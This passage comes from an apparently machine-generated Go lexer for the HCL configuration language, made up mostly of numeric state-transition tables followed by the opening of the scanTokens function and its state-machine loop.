0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 166, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } var _hcltok_from_state_actions []byte = []byte{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } var _hcltok_eof_trans []int16 = []int16{ 0, 1, 1, 1, 6, 6, 6, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 419, 419, 421, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 767, 772, 772, 772, 773, 773, 775, 775, 775, 779, 0, 0, 785, 785, 785, 789, 0, 0, 795, 795, 797, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 0, 1196, 1197, 1198, 1200, 1198, 1198, 1198, 1203, 1198, 1198, 1198, 1209, 1198, 1198, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 0, 1392, 1394, 1395, 1399, 1399, 1392, 1402, 1395, 1405, 1395, 1407, 1407, 1407, 0, 1416, 1418, 1418, 1416, 1416, 1423, 1425, 1427, 1427, 1427, 0, 1435, 1437, 1437, 1435, 1435, 1442, 1444, 1446, 1446, 1446, 0, 1483, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, } const hcltok_start int = 1459 const hcltok_first_final int = 1459 const hcltok_error int = 0 const hcltok_en_stringTemplate int = 1509 const hcltok_en_heredocTemplate int = 1523 const hcltok_en_bareTemplate int = 1534 const hcltok_en_identOnly int = 1545 const hcltok_en_main int = 1459 //line scan_tokens.rl:16 func scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token { stripData := stripUTF8BOM(data) start.Byte += len(data) - len(stripData) data = stripData f := &tokenAccum{ Filename: filename, Bytes: data, Pos: start, StartByte: start.Byte, } //line scan_tokens.rl:305 // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 act := 0 eof := pe var stack []int var top int var cs int // current state switch mode { case scanNormal: cs = hcltok_en_main case scanTemplate: cs = hcltok_en_bareTemplate case scanIdentOnly: cs = hcltok_en_identOnly default: panic("invalid scanMode") } braces := 0 var retBraces []int // stack of brace levels that cause us to use fret var heredocs []heredocInProgress // stack of heredocs we're currently processing //line scan_tokens.rl:340 // Make Go compiler happy _ = ts _ = te _ = act _ = eof token := func(ty TokenType) { f.emitToken(ty, ts, te) } selfToken := func() { b := data[ts:te] if len(b) != 1 { // should never happen panic("selfToken only works for single-character tokens") } f.emitToken(TokenType(b[0]), ts, te) } //line scan_tokens.go:4289 { top = 0 ts = 0 te = 0 act = 0 } //line scan_tokens.go:4297 { var _klen int var _trans int var _acts int var _nacts uint var _keys int if p == pe { goto _test_eof } if cs == 0 { goto _out } _resume: _acts = int(_hcltok_from_state_actions[cs]) _nacts = uint(_hcltok_actions[_acts]) _acts++ for ; _nacts > 0; _nacts-- { _acts++ switch _hcltok_actions[_acts-1] { case 3: //line NONE:1 ts = p //line scan_tokens.go:4320 } } _keys = int(_hcltok_key_offsets[cs]) _trans = int(_hcltok_index_offsets[cs]) _klen = int(_hcltok_single_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + _klen - 1) for { if _upper < _lower { break } _mid = _lower + ((_upper - _lower) >> 1) switch { case data[p] < _hcltok_trans_keys[_mid]: _upper = _mid - 1 case data[p] > _hcltok_trans_keys[_mid]: _lower = _mid + 1 default: _trans += int(_mid - int(_keys)) goto _match } } _keys += _klen _trans += _klen } _klen = int(_hcltok_range_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + (_klen << 1) - 2) for { if _upper < _lower { break } _mid = _lower + (((_upper - _lower) >> 1) & ^1) switch { case data[p] < _hcltok_trans_keys[_mid]: _upper = _mid - 2 case data[p] > _hcltok_trans_keys[_mid+1]: _lower = _mid + 2 default: _trans += int((_mid - int(_keys)) >> 1) goto _match } } _trans += _klen } _match: _trans = int(_hcltok_indicies[_trans]) _eof_trans: cs = int(_hcltok_trans_targs[_trans]) if _hcltok_trans_actions[_trans] == 0 { goto _again } _acts = int(_hcltok_trans_actions[_trans]) _nacts = uint(_hcltok_actions[_acts]) _acts++ for ; _nacts > 0; _nacts-- { _acts++ switch _hcltok_actions[_acts-1] { case 0: //line scan_tokens.rl:224 p-- case 4: //line NONE:1 te = p + 1 case 5: //line scan_tokens.rl:248 act = 4 case 6: //line scan_tokens.rl:250 act = 6 case 7: //line scan_tokens.rl:160 te = p + 1 { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = 